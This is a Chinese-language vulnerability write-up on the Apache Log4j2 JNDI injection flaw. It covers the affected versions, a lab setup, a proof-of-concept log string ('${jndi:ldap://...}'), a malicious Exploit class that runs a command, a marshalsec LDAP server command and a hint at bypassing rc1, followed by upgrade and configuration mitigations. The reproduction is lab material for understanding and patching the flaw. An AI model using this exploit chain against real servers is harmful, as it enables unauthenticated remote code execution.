0x00 簡介
ApacheLog4j2是一個開源的Java日志框架,被廣泛地應用在中間件、開發框架與Web應用中,
0x01 漏洞概述
該漏洞是由于Apache Log4j2某些功能存在遞回決議功能,未經身份驗證的攻擊者通過發送特定惡意資料包,可在目標服務器上執行任意代碼,
0x02 影響范圍
Apache Log4j 2.x <= 2.15.0-rc1
0x03 環境搭建
1、創建一個新的maven專案,并匯入Log4j的依賴包
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

0x04 漏洞利用
1、使用POC測驗
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://localhost:8888/Exploit}");
}
}
2、編譯一惡意類Exploit.class
首先新建exp.java,然后編譯為class檔案
class Exploit {
static {
System.err.println("Pwned");
try {
String cmds = "calc";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
javac exp.java

3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地開啟一個LDAP服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://127.0.0.1:7777/#Exploit" 8888

4、運行poc.java,即可訪問惡意類并執行寫在其中的"calc"命令

結合一些其它 StrLookup 適當變形,以及配合官方測驗用例中臟資料`"?Type=A Type&Name=1100110&Char=!"`可繞過rc1,RC2版本對此例外進行了捕獲,
https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2

0x05 修復方式
目前,Apache官方已發布新版本完成漏洞修復,建議用戶盡快進行自查,并及時升級至最新版本:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
建議同時采用如下臨時措施進行漏洞防范:
1)添加jvm啟動引數-Dlog4j2.formatMsgNoLookups=true;
2)在應用classpath下添加log4j2.component.properties組態檔,檔案內容為log4j2.formatMsgNoLookups=true;
3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
4)部署使用第三方防火墻產品進行安全防護,
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/379475.html
標籤:java
